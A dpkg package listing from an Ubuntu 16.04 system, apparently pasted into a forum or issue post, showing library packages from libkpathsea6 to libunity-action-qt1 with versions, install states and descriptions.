iU libkpathsea6 2015.20160222.37495-1ubuntu0.1 amd64 TeX Live: path search library for TeX (runtime part)
ii libkrb5-26-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - libraries
iU libkrb5-3 1.13.2+dfsg-5ubuntu2.2 amd64 MIT Kerberos runtime libraries
iU libkrb5support0 1.13.2+dfsg-5ubuntu2.2 amd64 MIT Kerberos runtime libraries - Support library
ii libksba8 1.3.3-1ubuntu0.16.04.1 amd64 X.509 and CMS support library
ii liblangtag-common 0.5.7-2ubuntu1 all library to access tags for identifying languages -- data
ii liblangtag1 0.5.7-2ubuntu1 amd64 library to access tags for identifying languages
iU liblcms2-2 2.6-3ubuntu2.1 amd64 Little CMS 2 color management library
iU liblcms2-utils 2.6-3ubuntu2.1 amd64 Little CMS 2 color management library (utilities)
iU libldap-2.4-2 2.4.42+dfsg-2ubuntu3.13 amd64 OpenLDAP libraries
iU libldb1 2:1.1.24-1ubuntu3.2 amd64 LDAP-like embedded database - shared library
ii liblightdm-gobject-1-0 1.18.3-0ubuntu1.1 amd64 LightDM GObject client library
ii liblircclient0 0.9.0-0ubuntu6 amd64 infra-red remote control support - client library
ii liblist-moreutils-perl 0.413-1build1 amd64 Perl module with additional list functions not found in List::Util
ii libllvm3.8 1:3.8-2ubuntu4 amd64 Modular compiler and toolchain technologies, runtime library
ii libllvm4.0 1:4.0-1ubuntu1~16.04.2 amd64 Modular compiler and toolchain technologies, runtime library
ii liblocale-gettext-perl 1.07-1build1 amd64 module using libc functions for internationalization in Perl
ii liblouis-data 2.6.4-2ubuntu0.1 all Braille translation library - data
ii liblouis9 2.6.4-2ubuntu0.1 amd64 Braille translation library - shared libs
ii liblouisutdml-bin 2.5.0-3 amd64 Braille UTDML translation utilities
ii liblouisutdml-data 2.5.0-3 all Braille UTDML translation library - data
ii liblouisutdml6 2.5.0-3 amd64 Braille UTDML translation library - shared libs
ii liblqr-1-0 0.4.2-2 amd64 converts plain array images into multi-size representation
iU liblsan0 5.4.0-6ubuntu1~16.04.12 amd64 LeakSanitizer -- a memory leak detector (runtime)
ii libltdl7 2.4.6-0.1 amd64 System independent dlopen wrapper for GNU libtool
ii liblua5.1-0 5.1.5-8ubuntu1 amd64 Shared library for the Lua interpreter version 5.1
ii liblua5.2-0 5.2.4-1ubuntu1 amd64 Shared library for the Lua interpreter version 5.2
ii liblwp-mediatypes-perl 6.02-1 all module to guess media type for a file or a URL
ii liblwp-protocol-https-perl 6.06-2 all HTTPS driver for LWP::UserAgent
iU liblwres141 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 Lightweight Resolver Library used by BIND
ii liblz4-1 0.0~r131-2ubuntu2 amd64 Fast LZ compression algorithm library - runtime
ii liblzma5 5.1.1alpha+20120614-2ubuntu2 amd64 XZ-format compression library
ii liblzo2-2 2.08-1.2 amd64 data compression library
iU libmagic1 1:5.25-2ubuntu1.4 amd64 File type determination library using "magic" numbers
iU libmagickcore-6.q16-2 8:6.8.9.9-7ubuntu5.16 amd64 low-level image manipulation library -- quantum depth Q16
iU libmagickcore-6.q16-2-extra 8:6.8.9.9-7ubuntu5.16 amd64 low-level image manipulation library - extra codecs (Q16)
iU libmagickwand-6.q16-2 8:6.8.9.9-7ubuntu5.16 amd64 image manipulation library
ii libmailtools-perl 2.13-1 all Manipulate email in perl programs
ii libmbim-glib4 1.12.2-2ubuntu1 amd64 Support library to use the MBIM protocol
ii libmbim-proxy 1.12.2-2ubuntu1 amd64 Proxy to communicate with MBIM ports
ii libmedia1 0.1.0+git20151016+6d424c9-0ubuntu7 amd64 Library to provide access to the Android Media HAL
```

```
ii libmediaart-2.0-0 1.9.0-2 amd64 media art extraction and cache management library
ii libmessaging-menu0 13.10.1+15.10.20150505-0ubuntu1 amd64 Messaging Menu - shared library
ii libmetacity-private3a 1:3.18.7-0ubuntu0.3 amd64 library for the Metacity window manager
ii libmhash2 0.9.9.9-7 amd64 Library for cryptographic hashing and message authentication
iU libminiupnpc10 1.9.20140610-2ubuntu2.16.04.2 amd64 UPnP IGD client lightweight library
ii libmirclient9 0.26.3+16.04.20170605-0ubuntu1.1 amd64 Display server for Ubuntu - client library
ii libmircommon5 0.21.0+16.04.20160330-0ubuntu1 amd64 Display server for Ubuntu - shared library
ii libmircommon7 0.26.3+16.04.20170605-0ubuntu1.1 amd64 Display server for Ubuntu - shared library
ii libmircore1 0.26.3+16.04.20170605-0ubuntu1.1 amd64 Display server for Ubuntu - shared library
ii libmirprotobuf3 0.26.3+16.04.20170605-0ubuntu1.1 amd64 Display server for Ubuntu - RPC definitions
ii libmm-glib0 1.4.12-1ubuntu1 amd64 D-Bus service for managing modems - shared libraries
ii libmng2 2.0.2-0ubuntu3 amd64 Multiple-image Network Graphics library
ii libmnl0 1.0.3-5 amd64 minimalistic Netlink communication library
ii libmount1 2.27.1-6ubuntu3.3 amd64 device mounting library
ii libmpc3 1.0.3-1 amd64 multiple precision complex floating-point library
ii libmpdec2 2.4.2-1 amd64 library for decimal floating point arithmetic (runtime library)
ii libmpfr4 3.1.4-1 amd64 multiple precision floating-point computation
iU libmpx0 5.4.0-6ubuntu1~16.04.12 amd64 Intel memory protection extensions (runtime)
ii libmspub-0.1-1 0.1.2-2ubuntu1 amd64 library for parsing the mspub file structure
ii libmtdev1 1.1.5-1ubuntu2 amd64 Multitouch Protocol Translation Library - shared library
ii libmtp-common 1.1.10-2ubuntu1 all Media Transfer Protocol (MTP) common files
ii libmtp-runtime 1.1.10-2ubuntu1 amd64 Media Transfer Protocol (MTP) runtime tools
ii libmtp9 1.1.10-2ubuntu1 amd64 Media Transfer Protocol (MTP) library
ii libmwaw-0.3-3 0.3.7-1ubuntu2.1 amd64 import library for some old Mac text documents
ii libmythes-1.2-0 2:1.2.4-1ubuntu3 amd64 simple thesaurus library
ii libnatpmp1 20110808-4 amd64 portable and fully compliant implementation of NAT-PMP
ii libnautilus-extension1a 1:3.18.4.is.3.14.3-0ubuntu6 amd64 libraries for nautilus components - runtime version
ii libncurses5 6.0+20160213-1ubuntu1 amd64 shared libraries for terminal handling
ii libncursesw5 6.0+20160213-1ubuntu1 amd64 shared libraries for terminal handling (wide character support)
ii libndp0 1.4-2ubuntu0.16.04.1 amd64 Library for Neighbor Discovery Protocol
ii libneon27-gnutls 0.30.1-3build1 amd64 HTTP and WebDAV client library (GnuTLS enabled)
ii libnet-dbus-perl 1.1.0-3build1 amd64 Perl extension for the DBus bindings
ii libnet-dns-perl 0.81-2build1 amd64 Perform DNS queries from a Perl script
ii libnet-domain-tld-perl 1.73-1 all list of currently available Top-level Domains (TLDs)
ii libnet-http-perl 6.09-1 all module providing low-level HTTP connection client
ii libnet-ip-perl 1.26-1 all Perl extension for manipulating IPv4/IPv6 addresses
ii libnet-libidn-perl 0.12.ds-2build2 amd64 Perl bindings for GNU Libidn
ii libnet-smtp-ssl-perl 1.03-1 all Perl module providing SSL support to Net::SMTP
ii libnet-ssleay-perl 1.72-1build1 amd64 Perl module for Secure Sockets Layer (SSL)
ii libnetfilter-conntrack3 1.0.5-1 amd64 Netfilter netlink-conntrack library
ii libnetpbm10 2:10.0-15.3 amd64 Graphics conversion tools shared libraries
iU libnettle6 3.2-1ubuntu0.16.04.2 amd64 low level cryptographic library (symmetric and one-way cryptos)
ii libnewt0.52 0.52.18-1ubuntu2 amd64 Not Erik's Windowing Toolkit - text mode windowing with slang
ii libnfnetlink0 1.0.1-3 amd64 Netfilter netlink library
ii libnih-dbus1 1.0.3-4.3ubuntu1 amd64 NIH D-Bus Bindings Library
ii libnih1 1.0.3-4.3ubuntu1 amd64 NIH Utility Library
ii libnl-3-200 3.2.27-1ubuntu0.16.04.1 amd64 library for dealing with netlink sockets
ii libnl-genl-3-200 3.2.27-1ubuntu0.16.04.1 amd64 library for dealing with netlink sockets - generic netlink
iU libnm-glib-vpn1 1.2.6-0ubuntu0.16.04.3 amd64 network management framework (GLib VPN shared library)
iU libnm-glib4 1.2.6-0ubuntu0.16.04.3 amd64 network management framework (GLib shared library)
ii libnm-gtk-common 1.2.6-0ubuntu0.16.04.4 all library for wireless and mobile dialogs - common files
ii libnm-gtk0 1.2.6-0ubuntu0.16.04.4 amd64 library for wireless and mobile dialogs (libnm-glib version)
iU libnm-util2 1.2.6-0ubuntu0.16.04.3 amd64 network management framework (shared library)
iU libnm0 1.2.6-0ubuntu0.16.04.3 amd64 GObject-based client library for NetworkManager
ii libnma-common 1.2.6-0ubuntu0.16.04.4 all library for wireless and mobile dialogs - common files
ii libnma0 1.2.6-0ubuntu0.16.04.4 amd64 library for wireless and mobile dialogs (libnm version)
ii libnotify-bin 0.7.6-2svn1 amd64 sends desktop notifications to a notification daemon (Utilities)
ii libnotify4 0.7.6-2svn1 amd64 sends desktop notifications to a notification daemon
ii libnpth0 1.2-3 amd64 replacement for GNU Pth using system threads
ii libnspr4 2:4.13.1-0ubuntu0.16.04.1 amd64 NetScape Portable Runtime Library
ii libnss-mdns 0.10-7 amd64 NSS module for Multicast DNS name resolution
iU libnss3 2:3.28.4-0ubuntu0.16.04.14 amd64 Network Security Service libraries
iU libnss3-nssdb 2:3.28.4-0ubuntu0.16.04.14 all Network Security Security libraries - shared databases
iU libnuma1 2.0.11-1ubuntu1.1 amd64 Libraries for controlling NUMA policy
ii libnux-4.0-0 4.0.8+16.04.20160705-0ubuntu1 amd64 Visual rendering toolkit for real-time applications - shared lib
ii libnux-4.0-common 4.0.8+16.04.20160705-0ubuntu1 all Visual rendering toolkit for real-time applications - common files
ii liboauth0 1.0.3-0ubuntu2 amd64 C library for implementing OAuth 1.0
ii libodfgen-0.1-1 0.1.6-1ubuntu2 amd64 library to generate ODF documents
ii libogg0 1.3.2-1 amd64 Ogg bitstream library
iU libopenexr22 2.2.0-10ubuntu2.6 amd64 runtime files for the OpenEXR image library
ii libopus0 1.1.2-1ubuntu1 amd64 Opus codec runtime library
ii liborc-0.4-0 1:0.4.25-1 amd64 Library of Optimized Inner Loops Runtime Compiler
ii liborcus-0.10-0v5 0.9.2-4ubuntu2 amd64 library for processing spreadsheet documents
ii liboxideqt-qmlplugin 1.21.5-0ubuntu0.16.04.1 amd64 Web browser engine for Qt (QML plugin)
ii liboxideqtcore0 1.21.5-0ubuntu0.16.04.1 amd64 Web browser engine for Qt (core library and components)
ii liboxideqtquick0 1.21.5-0ubuntu0.16.04.1 amd64 Web browser engine for Qt (QtQuick library)
iU libp11-kit-gnome-keyring 3.18.3-0ubuntu2.1 amd64 GNOME keyring module for the PKCS#11 module loading library
iU libp11-kit0 0.23.2-5~ubuntu16.04.2 amd64 library for loading and coordinating access to PKCS#11 modules - runtime
iU libpackagekit-glib2-16 0.8.17-4ubuntu6~gcc5.4ubuntu1.5 amd64 Library for accessing PackageKit using GLib
ii libpagemaker-0.0-0 0.0.3-1ubuntu1 amd64 Library for importing and converting PageMaker Documents
iU libpam-gnome-keyring 3.18.3-0ubuntu2.1 amd64 PAM module to unlock the GNOME keyring upon login
ii libpam-modules 1.1.8-3.2ubuntu2 amd64 Pluggable Authentication Modules for PAM
ii libpam-modules-bin 1.1.8-3.2ubuntu2 amd64 Pluggable Authentication Modules for PAM - helper binaries
ii libpam-runtime 1.1.8-3.2ubuntu2 all Runtime support for the PAM library
iU libpam-systemd 229-4ubuntu21.27 amd64 system and service manager - PAM module
ii libpam0g 1.1.8-3.2ubuntu2 amd64 Pluggable Authentication Modules library
ii libpango-1.0-0 1.38.1-1 amd64 Layout and rendering of internationalized text
ii libpango-perl 1.227-1 amd64 Perl module to layout and render international text
ii libpango1.0-0 1.38.1-1 amd64 Layout and rendering of internationalized text (transitional package)
ii libpangocairo-1.0-0 1.38.1-1 amd64 Layout and rendering of internationalized text
ii libpangoft2-1.0-0 1.38.1-1 amd64 Layout and rendering of internationalized text
ii libpangomm-1.4-1v5 2.38.1-1 amd64 C++ Wrapper for pango (shared libraries)
ii libpangox-1.0-0 0.0.2-5 amd64 pango library X backend
ii libpangoxft-1.0-0 1.38.1-1 amd64 Layout and rendering of internationalized text
ii libpaper-utils 1.1.24+nmu4ubuntu1 amd64 library for handling paper characteristics (utilities)
ii libpaper1 1.1.24+nmu4ubuntu1 amd64 library for handling paper characteristics
ii libparse-debianchangelog-perl 1.2.0-8 all parse Debian changelogs and output them in other formats
ii libparted2 3.2-15 amd64 disk partition manipulator - shared library
iU libpcap0.8 1.7.4-2ubuntu0.1 amd64 system interface for user-level packet capture
```

```
ii libpci3 1:3.3.1-1.1ubuntu1.1 amd64 Linux PCI Utilities (shared library)
ii libpciaccess0 0.13.4-1 amd64 Generic PCI access library for X
ii libpcre16-3 2:8.38-3.1 amd64 Perl 5 Compatible Regular Expression Library - 16 bit runtime files
ii libpcre3 2:8.38-3.1 amd64 Perl 5 Compatible Regular Expression Library - runtime files
ii libpcsclite1 1.8.14-1ubuntu1.16.04.1 amd64 Middleware to access a smart card using PC/SC (library)
ii libpeas-1.0-0 1.16.0-1ubuntu2 amd64 Application plugin library
ii libpeas-1.0-0-python3loader 1.16.0-1ubuntu2 amd64 Application plugin library
ii libpeas-common 1.16.0-1ubuntu2 all Application plugin library (common files)
iU libperl5.22 5.22.1-9ubuntu0.9 amd64 shared Perl library
ii libperlio-gzip-perl 0.19-1build1 amd64 module providing a PerlIO layer to gzip/gunzip
ii libpipeline1 1.4.1-2 amd64 pipeline manipulation library
ii libpixman-1-0 0.33.6-1 amd64 pixel-manipulation library for X and cairo
ii libplist3 1.12-3.1ubuntu0.16.04.1 amd64 Library for handling Apple binary and XML property lists
ii libplymouth4 0.9.2-3ubuntu13.2 amd64 graphical boot animation and logger - shared libraries
iU libpng12-0 1.2.54-1ubuntu1.1 amd64 PNG library - runtime
iU libpolkit-agent-1-0 0.105-14.1ubuntu0.5 amd64 PolicyKit Authentication Agent API
iU libpolkit-backend-1-0 0.105-14.1ubuntu0.5 amd64 PolicyKit backend API
iU libpolkit-gobject-1-0 0.105-14.1ubuntu0.5 amd64 PolicyKit Authorization API
iU libpoppler-glib8 0.41.0-0ubuntu1.16 amd64 PDF rendering library (GLib-based shared library)
iU libpoppler58 0.41.0-0ubuntu1.16 amd64 PDF rendering library
ii libpopt0 1.16-10 amd64 lib for parsing cmdline parameters
ii libportaudio2 19+svn20140130-1build1 amd64 Portable audio I/O - shared library
iU libprocps4 2:3.3.10-4ubuntu2.4 amd64 library for accessing process information from /proc
ii libprotobuf-lite9v5 2.6.1-1.3 amd64 protocol buffers C++ library (lite version)
ii libprotobuf9v5 2.6.1-1.3 amd64 protocol buffers C++ library
iU libproxy1-plugin-gsettings 0.4.11-5ubuntu1.2 amd64 automatic proxy configuration management library (GSettings plugin)
iU libproxy1-plugin-networkmanager 0.4.11-5ubuntu1.2 amd64 automatic proxy configuration management library (Network Manager plugin)
iU libproxy1v5 0.4.11-5ubuntu1.2 amd64 automatic proxy configuration management library (shared)
iU libpulse-mainloop-glib0 1:8.0-0ubuntu3.15 amd64 PulseAudio client libraries (glib support)
iU libpulse0 1:8.0-0ubuntu3.15 amd64 PulseAudio client libraries
iU libpulsedsp 1:8.0-0ubuntu3.15 amd64 PulseAudio OSS pre-load library
ii libpwquality-common 1.3.0-0ubuntu1 all library for password quality checking and generation (data files)
ii libpwquality1 1.3.0-0ubuntu1 amd64 library for password quality checking and generation
ii libpython-stdlib 2.7.11-1 amd64 interactive high-level object-oriented language (default python version)
iU libpython2.7 2.7.12-1ubuntu0~16.04.18 amd64 Shared Python runtime library (version 2.7)
iU libpython2.7-minimal 2.7.12-1ubuntu0~16.04.18 amd64 Minimal subset of the Python language (version 2.7)
iU libpython2.7-stdlib 2.7.12-1ubuntu0~16.04.18 amd64 Interactive high-level object-oriented language (standard library, version
2.7)
ii libpython3-stdlib 3.5.1-3 amd64 interactive high-level object-oriented language (default python3 version)
iU libpython3.5 3.5.2-2ubuntu0~16.04.13 amd64 Shared Python runtime library (version 3.5)
iU libpython3.5-minimal 3.5.2-2ubuntu0~16.04.13 amd64 Minimal subset of the Python language (version 3.5)
iU libpython3.5-stdlib 3.5.2-2ubuntu0~16.04.13 amd64 Interactive high-level object-oriented language (standard library, version 3.5)
ii libqmi-glib1 1.12.6-1 amd64 Support library to use the Qualcomm MSM Interface (QMI) protocol
ii libqmi-proxy 1.12.6-1 amd64 Proxy to communicate with QMI ports
ii libqpdf17 6.0.0-2 amd64 runtime library for PDF transformation/inspection software
iU libqpdf21 8.0.2-3~16.04.1 amd64 runtime library for PDF transformation/inspection software
ii libqqwing2v5 1.3.4-1 amd64 tool for generating and solving Sudoku puzzles (library)
ii libqt4-dbus 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 D-Bus module
ii libqt4-declarative 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 Declarative module
ii libqt4-network 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 network module
ii libqt4-script 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 script module
ii libqt4-sql 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 SQL module
ii libqt4-sql-sqlite 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 SQLite 3 database driver
ii libqt4-xml 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 XML module
ii libqt4-xmlpatterns 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 XML patterns module
iU libqt5core5a 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 core module
iU libqt5dbus5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 D-Bus module
ii libqt5feedback5 5.0~git20130529-0ubuntu13 amd64 Qt Feedback module
iU libqt5gui5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 GUI module
ii libqt5multimedia5 5.5.1-4ubuntu2 amd64 Qt 5 Multimedia module
iU libqt5network5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 network module
iU libqt5opengl5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 OpenGL module
ii libqt5organizer5 5.0~git20140515~29475884-0ubuntu20 amd64 Qt PIM module, Organizer library
ii libqt5positioning5 5.5.1-3ubuntu1 amd64 Qt Positioning module
iU libqt5printsupport5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 print support module
ii libqt5qml5 5.5.1-2ubuntu6 amd64 Qt 5 QML module
ii libqt5quick5 5.5.1-2ubuntu6 amd64 Qt 5 Quick library
ii libqt5quicktest5 5.5.1-2ubuntu6 amd64 Qt 5 Quick Test library
iU libqt5sql5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 SQL module
iU libqt5sql5-sqlite 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 SQLite 3 database driver
ii libqt5svg5 5.5.1-2build1 amd64 Qt 5 SVG module
iU libqt5test5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 test module
ii libqt5webkit5 5.5.1+dfsg-2ubuntu1 amd64 Web content engine library for Qt
iU libqt5widgets5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 widgets module
iU libqt5xml5 5.5.1+dfsg-16ubuntu7.7 amd64 Qt 5 XML module
ii libqtcore4 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 core module
ii libqtdbus4 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 D-Bus module library
ii libqtgui4 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 GUI module
iU libquadmath0 5.4.0-6ubuntu1~16.04.12 amd64 GCC Quad-Precision Math Library
ii libquvi-scripts 0.4.21-2 all library for parsing video download links (Lua scripts)
ii libquvi7 0.4.1-3 amd64 library for parsing video download links (runtime libraries)
iU libraptor2-0 2.0.14-1ubuntu0.16.04.1 amd64 Raptor 2 RDF syntax library
ii librasqal3 0.9.32-1 amd64 Rasqal RDF query library
ii libraw1394-11 2.1.1-2 amd64 library for direct access to IEEE 1394 bus (aka FireWire)
iU libraw15 0.17.1-1ubuntu0.5 amd64 raw image decoder library
ii librdf0 1.0.17-1build1 amd64 Redland Resource Description Framework (RDF) library
ii libreadline6 6.3-8ubuntu2 amd64 GNU readline and history libraries, run-time libraries
iU libreoffice-avmedia-backend-gstreamer 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 GStreamer backend for LibreOffice
iU libreoffice-base-core 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- shared library
iU libreoffice-calc 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- spreadsheet
iU libreoffice-common 1:5.1.6~rc2-0ubuntu1~xenial10 all office productivity suite -- arch-independent files
iU libreoffice-core 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- arch-dependent files
iU libreoffice-draw 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- drawing
iU libreoffice-gnome 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- GNOME integration
iU libreoffice-gtk 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- GTK+ integration
ii libreoffice-help-en-us 1:5.1.4-0ubuntu1 all office productivity suite -- English_american help
iU libreoffice-impress 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- presentation
iU libreoffice-math 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- equation editor
iU libreoffice-ogltrans 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 LibreOffice Impress extension for slide transitions using OpenGL
```

```
iU libreoffice-pdfimport 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 PDF Import component for LibreOffice
iU libreoffice-style-breeze 1:5.1.6~rc2-0ubuntu1~xenial10 all office productivity suite -- Breeze symbol style
iU libreoffice-style-galaxy 1:5.1.6~rc2-0ubuntu1~xenial10 all office productivity suite -- Galaxy (Default) symbol style
iU libreoffice-writer 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 office productivity suite -- word processor
ii librest-0.7-0 0.7.93-1 amd64 REST service access library
ii librevenge-0.0-0 0.0.4-4ubuntu1 amd64 Base Library for writing document interface filters
ii librhythmbox-core9 3.3-1ubuntu7 amd64 support library for the rhythmbox music player
ii libroken18-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - roken support library
iU librsvg2-2 2.40.13-3ubuntu0.2 amd64 SAX-based renderer library for SVG files (runtime)
iU librsvg2-common 2.40.13-3ubuntu0.2 amd64 SAX-based renderer library for SVG files (extra runtime)
ii librtmp1 2.4+20151223.gitfa8646d-1ubuntu0.1 amd64 toolkit for RTMP streams (shared library)
ii libsamplerate0 0.1.8-8 amd64 Audio sample rate conversion library
iU libsane 1.0.25+git20150528-1ubuntu2.16.04.3 amd64 API library for scanners
iU libsane-common 1.0.25+git20150528-1ubuntu2.16.04.3 all API library for scanners -- documentation and support files
ii libsane-hpaio 3.16.3+repack0-1 amd64 HP SANE backend for multi-function peripherals
iU libsasl2-2 2.1.26.dfsg1-14ubuntu0.2 amd64 Cyrus SASL - authentication abstraction library
iU libsasl2-modules 2.1.26.dfsg1-14ubuntu0.2 amd64 Cyrus SASL - pluggable authentication modules
iU libsasl2-modules-db 2.1.26.dfsg1-14ubuntu0.2 amd64 Cyrus SASL - pluggable authentication modules (DB)
ii libsbc1 1.3-1 amd64 Sub Band CODEC library - runtime
ii libseccomp2 2.4.3-1ubuntu3.16.04.3 amd64 high level interface to Linux seccomp filter
ii libsecret-1-0 0.18.4-1ubuntu2 amd64 Secret store
ii libsecret-common 0.18.4-1ubuntu2 all Secret store (common files)
ii libselinux1 2.4-3build2 amd64 SELinux runtime shared libraries
ii libsemanage-common 2.3-1build3 all Common files for SELinux policy management libraries
ii libsemanage1 2.3-1build3 amd64 SELinux policy management library
ii libsensors4 1:3.4.0-2 amd64 library to read temperature/voltage/fan sensors
ii libsepol1 2.4-2 amd64 SELinux library for manipulating binary security policies
ii libsgutils2-2 1.40-0ubuntu1 amd64 utilities for devices using the SCSI command set (shared libraries)
ii libshout3 2.3.1-3 amd64 MP3/Ogg Vorbis broadcast streaming library
ii libsigc++-2.0-0v5 2.6.2-1 amd64 type-safe Signal Framework for C++ - runtime
ii libsignon-extension1 8.58+16.04.20151106-0ubuntu1 amd64 Single Sign On framework
ii libsignon-glib1 1.13+16.04.20151209.1-0ubuntu1 amd64 library for signond
ii libsignon-plugins-common1 8.58+16.04.20151106-0ubuntu1 amd64 Single Sign On framework
ii libsignon-qt5-1 8.58+16.04.20151106-0ubuntu1 amd64 Single Sign On framework
ii libslang2 2.3.0-2ubuntu1 amd64 S-Lang programming library - runtime version
ii libsm6 2:1.2.2-1 amd64 X11 Session Management library
ii libsmartcols1 2.27.1-6ubuntu3.3 amd64 smart column output alignment library
iU libsmbclient 2:4.3.11+dfsg-0ubuntu0.16.04.34 amd64 shared library for communication with SMB/CIFS servers
iU libsnapd-glib1 1.49-0ubuntu0.16.04.2 amd64 GLib snapd library
iU libsndfile1 1.0.25-10ubuntu0.16.04.3 amd64 Library for reading/writing audio files
iU libsnmp-base 5.7.3+dfsg-1ubuntu4.6 all SNMP configuration script, MIBs and documentation
iU libsnmp30 5.7.3+dfsg-1ubuntu4.6 amd64 SNMP (Simple Network Management Protocol) library
ii libsocket6-perl 0.25-1build2 amd64 Perl extensions for IPv6
ii libsonic0 0.2.0-3 amd64 Simple library to speed up or slow down speech
ii libsoup-gnome2.4-1 2.52.2-1ubuntu0.3 amd64 HTTP library implementation in C -- GNOME support library
iU libsoup2.4-1 2.52.2-1ubuntu0.3 amd64 HTTP library implementation in C -- Shared library
ii libspectre1 0.2.7-3ubuntu2 amd64 Library for rendering PostScript documents
ii libspeechd2 0.8.3-1ubuntu3 amd64 Speech Dispatcher: Shared libraries
ii libspeex1 1.2~rc1.2-1ubuntu1 amd64 The Speex codec runtime library
ii libspeexdsp1 1.2~rc1.2-1ubuntu1 amd64 The Speex extended runtime library
ii libsqlite3-0 3.11.0-1ubuntu1.5 amd64 SQLite 3 shared library
ii libss2 1.42.13-1ubuntu1.2 amd64 command-line interface parsing library
iU libssh-4 0.6.3-4.3ubuntu0.6 amd64 tiny C SSH library (OpenSSL flavor)
iU libssl1.0.0 1.0.2g-1ubuntu4.20 amd64 Secure Sockets Layer toolkit - shared libraries
ii libstartup-notification0 0.12-4build1 amd64 library for program launch feedback (shared library)
iU libstdc++-5-dev 5.4.0-6ubuntu1~16.04.12 amd64 GNU Standard C++ Library v3 (development files)
ii libstdc++6 5.4.0-6ubuntu1~16.04.12 amd64 GNU Standard C++ Library v3
ii libsub-name-perl 0.14-1build1 amd64 module for assigning a new name to referenced sub
ii libsuitesparseconfig4.4.6 1:4.4.6-1 amd64 configuration routines for all SuiteSparse modules
ii libsystemd0 229-4ubuntu21.27 amd64 systemd utility library
ii libtag1v5 1.9.1-2.4ubuntu1 amd64 audio meta-data library
ii libtag1v5-vanilla 1.9.1-2.4ubuntu1 amd64 audio meta-data library - vanilla flavour
ii libtalloc2 2.1.5-2 amd64 hierarchical pool based memory allocator
iU libtasn1-6 4.7-3ubuntu0.16.04.3 amd64 Manage ASN.1 structures (runtime)
ii libtcl8.6 8.6.5+dfsg-2 amd64 Tcl (the Tool Command Language) v8.6 - run-time library files
ii libtdb1 1.3.8-2 amd64 Trivial Database - shared library
ii libtelepathy-glib0 0.24.1-1.1 amd64 Telepathy framework - GLib library
ii libtevent0 0.9.28-0ubuntu0.16.04.1 amd64 talloc-based event loop library - shared library
ii libtext-charwidth-perl 0.04-7build5 amd64 get display widths of characters on the terminal
ii libtext-iconv-perl 1.7-5build4 amd64 converts between character sets in Perl
ii libtext-levenshtein-perl 0.13-1 all implementation of the Levenshtein edit distance
ii libtext-wrapi18n-perl 0.06-7.1 all internationalized substitute of Text::Wrap
ii libthai-data 0.1.24-2 all Data files for Thai language support library
ii libthai0 0.1.24-2 amd64 Thai language support library
ii libtheora0 1.1.1+dfsg.1-8 amd64 Theora Video Compression Codec
ii libtie-ixhash-perl 1.23-2 all Perl module to order associative arrays
iU libtiff5 4.0.6-1ubuntu0.8 amd64 Tag Image File Format (TIFF) library
ii libtimedate-perl 2.3000-2 all collection of modules to manipulate date/time information
ii libtimezonemap-data 0.4.5 all GTK+3 timezone map widget - data files
ii libtimezonemap1 0.4.5 amd64 GTK+3 timezone map widget
ii libtinfo5 6.0+20160213-1ubuntu1 amd64 shared low-level terminfo library for terminal handling
ii libtk8.6 8.6.5-1 amd64 Tk toolkit for Tcl and X11 v8.6 - run-time files
ii libtotem-plparser-common 3.10.6-1ubuntu1 all Totem Playlist Parser library - common files
ii libtotem-plparser18 3.10.6-1ubuntu1 amd64 Totem Playlist Parser library - runtime files
ii libtotem0 3.18.1-1ubuntu4 amd64 Main library for the Totem media player
ii libtracker-sparql-1.0-0 1.6.2-0ubuntu1.1 amd64 metadata database, indexer and search tool - library
iU libtsan0 5.4.0-6ubuntu1~16.04.12 amd64 ThreadSanitizer -- a Valgrind-based detector of data races (runtime)
ii libtxc-dxtn-s2tc0 0~git20131104-1.1 amd64 Texture compression library for Mesa
iU libubsan0 5.4.0-6ubuntu1~16.04.12 amd64 UBSan -- undefined behaviour sanitizer (runtime)
ii libubuntugestures5 1.3.1918+16.04.20160404-0ubuntu1 amd64 Ubuntu gestures library for Ubuntu UI Toolkit
ii libubuntutoolkit5 1.3.1918+16.04.20160404-0ubuntu1 amd64 Ubuntu toolkit common library for Ubuntu UI Toolkit
ii libudev1 229-4ubuntu21.27 amd64 libudev shared library
ii libudisks2-0 2.1.7-1ubuntu1 amd64 GObject based library to access udisks2
ii libunistring0 0.9.3-5.2ubuntu1 amd64 Unicode string library for C
ii libunity-action-qt1 1.1.0+14.04.20140304-0ubuntu2~gcc5.1 amd64 Unity Action Qt API
